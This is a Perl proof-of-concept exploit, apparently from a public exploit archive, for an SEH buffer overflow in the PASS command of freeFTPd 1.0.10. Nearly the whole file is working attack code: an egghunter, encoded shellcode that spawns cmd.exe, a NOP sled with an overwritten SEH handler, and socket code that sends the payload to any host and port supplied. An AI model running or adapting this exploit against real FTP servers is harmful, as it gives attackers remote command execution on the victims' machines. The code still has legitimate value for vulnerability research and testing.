#!/usr/bin/perl # freeFTPd 1.0.10 anonymous-auth PASS SEH buffer overflow # PoC by Wireghoul - www.justanotherhacker.com # Date: 20130820 # Tested on: XPSP3 # Similar exploits: # EDB 23079 1330 1339 # Greetz corelan, TecR0C, mr_me, jjkakakk if (scalar(@ARGV) != 2) { "Usage $0 host port\n"; exit; } use IO::Socket::INET; # Null byte in ppr forces a backwards short jump allowing 128 bytes shellcode max # Thus we use an egghunter my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "WRGL". "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; # I expect the max lenght for this is ~1024 bytes, didn't bother checking # Spawn cmd.exe from msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x0a\x0d' -t perl my $shell = "\xd9\xeb\xd9\x74\x24\xf4\x5e\xbf\xe0\xdd\xfb\x11\x33\xc9" . "\xb1\x32\x31\x7e\x1a\x83\xc6\x04\x03\x7e\x16\xe2\x15\x21" . "\x13\x98\xd5\xda\xe4\xfb\x5c\x3f\xd5\x29\x3a\x4b\x44\xfe" . "\x49\x19\x65\x75\x1f\x8a\xfe\xfb\xb7\xbd\xb7\xb6\xe1\xf0" . "\x48\x77\x2d\x5e\x8a\x19\xd1\x9d\xdf\xf9\xe8\x6d\x12\xfb" . "\x2d\x93\xdd\xa9\xe6\xdf\x4c\x5e\x83\xa2\x4c\x5f\x43\xa9" . "\xed\x27\xe6\x6e\x99\x9d\xe9\xbe\x32\xa9\xa1\x26\x38\xf5" . "\x11\x56\xed\xe5\x6d\x11\x9a\xde\x06\xa0\x4a\x2f\xe7\x92" . "\xb2\xfc\xd6\x1a\x3f\xfc\x1f\x9c\xa0\x8b\x6b\xde\x5d\x8c" . "\xa8\x9c\xb9\x19\x2c\x06\x49\xb9\x94\xb6\x9e\x5c\x5f\xb4" . "\x6b\x2a\x07\xd9\x6a\xff\x3c\xe5\xe7\xfe\x92\x6f\xb3\x24" . "\x36\x2b\x67\x44\x6f\x91\xc6\x79\x6f\x7d\xb6\xdf\xe4\x6c" . "\xa3\x66\xa7\xfa\x32\xea\xd2\x42\x34\xf4\xdc\xe4\x5d\xc5" . "\x57\x6b\x19\xda\xb2\xcf\xd5\x90\x9e\x66\x7e\x7d\x4b\x3b" . "\xe3\x7e\xa6\x78\x1a\xfd\x42\x01\xd9\x1d\x27\x04\xa5\x99" . "\xd4\x74\xb6\x4f\xda\x2b\xb7\x45\xb9\xa6\x23\x48\x58\x41" . "\xc9\x94"; my $egg = "USER WRGLWRGL$shell\r\n"; my $usr = "USER anonymous\r\n"; # Must be an existing anonymous account # I'm lazy, NOPs are fine by me my $pre = "PASS " . "\x90" x (797 - length($egghunter)) . $egghunter; my $seh1 = "\x90\x90\xEB\x80"; # nop, nop, jmp+4 my $seh2 = "\xf0\x42\x41\x00"; # PPR from freeFTPDService.exe (only unsafe SEH module), 0x004142f0 my $pad = "X" x 209 ."\r\n"; my $payload = $pre . $seh1 . $seh2 . $pad; my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to connect!\n"; my $eggsock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to connect!\n"; print $eggsock $egg; sleep 1; print $sock $usr; sleep 1; print "Preparing exploit\n"; sleep 1; print $sock $payload; print "Exploiting\n"; sleep 3; print "Done\n";